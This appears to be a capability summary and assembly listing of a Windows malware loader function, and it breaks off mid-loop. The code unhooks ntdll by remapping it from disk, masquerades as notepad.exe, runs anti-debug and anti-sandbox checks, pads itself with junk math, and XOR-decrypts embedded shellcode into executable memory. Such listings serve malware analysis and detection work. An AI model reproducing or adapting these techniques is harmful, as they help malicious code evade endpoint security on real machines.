Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x908
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x870], xmm6
mov dword [rbp + 0x8b0], ecx
mov qword [rbp + 0x8b8], rdx
call fcn.140002cb0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x810], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x808], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x800], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
je 0x140001ad3
mov dword [rbp + 0x864], 0
jmp 0x14000158c
call sub.msvcrt.dll_rand
imul eax, eax, 0x45
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006670]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003ef0
movq rax, xmm0
mov qword [rbp + 0x7a8], rax
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0x1f7
jle 0x14000154e
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x650]
mov rax, qword [rbp + 0x800]
mov r10, qword [rbp + 0x868]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x7f8], rax
mov dword [rbp + 0x860], 0xffffffff
mov ecx, 0xfd0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f0], rax
add dword [rbp + 0x860], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x860]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
movsd xmm1, qword [0x140006670]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x860]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x860]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7f0]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ec0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x860], 0x1f8
jle 0x1400015f1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x7e8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7d8], rax
mov ecx, 0xdc4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d0], rax
mov dword [rbp + 0x858], 0
mov dword [rbp + 0x854], 0
mov dword [rbp + 0x85c], 0
jmp 0x140001845
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x85c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001814
add dword [rbp + 0x858], 1
jmp 0x14000183e
mov eax, dword [rbp + 0x85c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x14000183e
add dword [rbp + 0x854], 1
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x370
jle 0x1400017a2
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7f8]
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7f8]
add rax, rdx
mov qword [rbp + 0x7c0], rax
mov word [rbp + 0x852], 0
jmp 0x140001abb
mov rax, qword [rbp + 0x7c0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7c0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x852]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001aaa
mov dword [rbp + 0x618], 0
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7f8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x618]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7f8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov ecx, 0x10c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x84c], 0
jmp 0x1400019ef
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006670]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
movsd xmm1, qword [0x140006678]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x218
jle 0x1400019a1
mov dword [rbp + 0x84c], 0
jmp 0x140001a59
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x218
jle 0x140001a07
mov edx, dword [rbp + 0x618]
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7b8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7f8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x618]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x852]
add eax, 1
mov word [rbp + 0x852], ax
mov rax, qword [rbp + 0x7c0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x852], ax
jb 0x14000189e
mov dword [rbp + 0x61c], 0
mov ecx, 0x6e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
mov dword [rbp + 0x848], 0
jmp 0x140001b48
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006670]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
movsd xmm1, qword [0x140006678]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0xdc
jle 0x140001afa
mov dword [rbp + 0x848], 0
jmp 0x140001bb2
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x848]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0xdc
jle 0x140001b60
mov rax, qword [rbp + 0x810]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x620]
lea rax, [rbp + 0x61c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x798]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x628]
add rax, 0x3c
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x790]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x4f6
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x4f6
jne 0x140002bdb
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x614], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x614]
mov r8, qword [rbp + 0x788]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x614]
cmp eax, 1
je 0x140002bdb
lea rax, str.rgbpjlcjrdjzxsga.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
jne 0x140002bdb
mov dword [rbp + 0x77c], 0x22d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
call rax
mov dword [rbp + 0x76c], eax
mov eax, dword [rbp + 0x77c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x770]
call rax
mov dword [rbp + 0x768], eax
mov eax, dword [rbp + 0x768]
sub eax, dword [rbp + 0x76c]
cmp eax, 0x1fb
jbe 0x140002bdb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov ecx, 0
call rax
mov dword [rbp + 0x75c], eax
cmp dword [rbp + 0x75c], 0xffffffff
je 0x140002bdb
mov ecx, 0x734
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x734
jne 0x140002bdb
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x140002bdb
mov rax, qword [rbp + 0x750]
mov edx, 0x4c4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x74c], eax
mov qword [rbp + 0x740], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x11ffa80
mov ecx, 0
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140002bdb
mov rax, qword [rbp + 0x740]
mov edx, 0x11ffa80
mov rcx, rax
call fcn.140004270
mov rax, qword [rbp + 0x740]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x730], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x728]
mov r9d, 0x3000
mov r8d, 0x3ca
mov edx, 0
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x140002bdb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140001fee
mov rax, qword [rbp + 0x720]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov ecx, 0
call rax
mov dword [rbp + 0x844], eax
cmp dword [rbp + 0x844], 0xffffffff
je 0x140002bdb
lea rax, [rbp + 0x100]
lea rdx, [0x140006158]
mov ecx, 0xa2
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x808]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x808]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x710]
mov r8d, 0
mov edx, 0x510
mov ecx, 0x40000
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov r9, qword [rbp + 0x708]
mov r8d, 0x510
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6f8], rax
mov ecx, 0xb60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f0], rax
mov ecx, 0xb60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
mov ecx, 0xb60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov ecx, 0xb60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x83c], 0x2d7
mov dword [rbp + 0x840], 0
jmp 0x140002213
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x840]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x840]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x83c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov edx, dword [rbp + 0x840]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x83c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov edx, dword [rbp + 0x840]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x83c], 1
add dword [rbp + 0x840], 1
cmp dword [rbp + 0x840], 0x2d7
jle 0x140002107
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x810]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
lea rdx, [rbp + 0x100]
mov rax, qword [rbp + 0x6f8]
mov r9, qword [rbp + 0x6d0]
mov r8d, 0x510
mov rcx, rax
call r9
mov dword [rbp + 0x834], 0
mov dword [rbp + 0x830], 0
mov ecx, 0x470
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov ecx, 0x470
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x828], 0x11b
mov dword [rbp + 0x82c], 0
jmp 0x14000237d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x828], 1
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x11b
jle 0x1400022f0
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x7c4458a824b841a0
movabs rdx, 0x564db7e89b7030f1
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xda23ad6f88668d16
movabs rdx, 0xb3e42ce3189b2fde
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x996d235edda21489
movabs rdx, 0xfedbdf0e8f6d9bff
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xb9741913450d5d5f
movabs rdx, 0xb7210e92b5198756
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x8b2dc83abb8f5043
movabs rdx, 0x4d42c58738ab5871
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x32df5ad2d0ba42a3
movabs rdx, 0x4b79e34e44e1fe91
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x71c9473eb8536ecc
movabs rdx, 0xb60d2dd35b495675
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xf7fe12abdde36eb6
movabs rdx, 0x825fea92f5523
mov qword [rbp + 0xef], rax
mov qword [rbp + 0xf7], rdx
movabs rax, 0x4fb1c89528c19f4f
movabs rdx, 0x43710d6ae1008bbc
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xf536dba0b786fe5f
movabs rdx, 0xd774fe0fb4d5555f
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x967263b335a1b0a8
movabs rdx, 0x35d6126338eca9b9
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x17af17a36a5d38ea
movabs rdx, 0xe65aab14ba3baaa2
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xb42fc9b8b665be20
movabs rdx, 0x2c62f353db1782b4
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xe43fcee9753e5f2c
movabs rdx, 0xa3b4472fac0e71
mov qword [rbp + 0x6f], rax
mov qword [rbp + 0x77], rdx
mov dword [rbp + 0x838], 0
jmp 0x1400025bd
mov eax, dword [rbp + 0x838]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x834]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x838]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x834], 0x7d
jne 0x1400025af
mov dword [rbp + 0x834], 0
jmp 0x1400025b6
add dword [rbp + 0x834], 1
add dword [rbp + 0x838], 1
mov eax, dword [rbp + 0x838]
cmp eax, 0x5d
jbe 0x14000256f
mov dword [rbp + 0x838], 0
jmp 0x1400029a1
mov dword [rbp + 0x694], 0
mov ecx, 0x1a04
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov ecx, 0x1a04
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov ecx, 0x1a04
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x824], 0
jmp 0x1400026f7
mov dword [rbp + 0x820], 0
jmp 0x1400026e3
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x824]
cdqe
imul rcx, rax, 0xb4
mov rax, qword [rbp + 0x688]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x820]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x824]
cdqe
imul rcx, rax, 0xb4
mov rax, qword [rbp + 0x680]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x820]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x2c
jle 0x140002632
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x24
jle 0x140002623
mov dword [rbp + 0x824], 0
jmp 0x1400027ce
mov dword [rbp + 0x820], 0
jmp 0x1400027ba
mov eax, dword [rbp + 0x824]
cdqe
imul rdx, rax, 0xb4
mov rax, qword [rbp + 0x688]
add rdx, rax
mov eax, dword [rbp + 0x820]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x824]
cdqe
imul rdx, rax, 0xb4
mov rax, qword [rbp + 0x680]
add rdx, rax
mov eax, dword [rbp + 0x820]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003ca0
mov eax, dword [rbp + 0x824]
cdqe
imul rdx, rax, 0xb4
mov rax, qword [rbp + 0x678]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x820]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x2c
jle 0x140002722
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x24
jle 0x140002713
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x838]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x830]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x838]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x830], 0x5d
jne 0x14000285e
mov dword [rbp + 0x830], 0
jmp 0x14000299a
mov ecx, 0x8c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov ecx, 0x8c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x81c], 0
jmp 0x140002919
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x670]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x118
jle 0x14000288f
mov dword [rbp + 0x81c], 0
jmp 0x140002987
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x668]
lea rbx, [rcx + rdx]
movq xmm0, rax
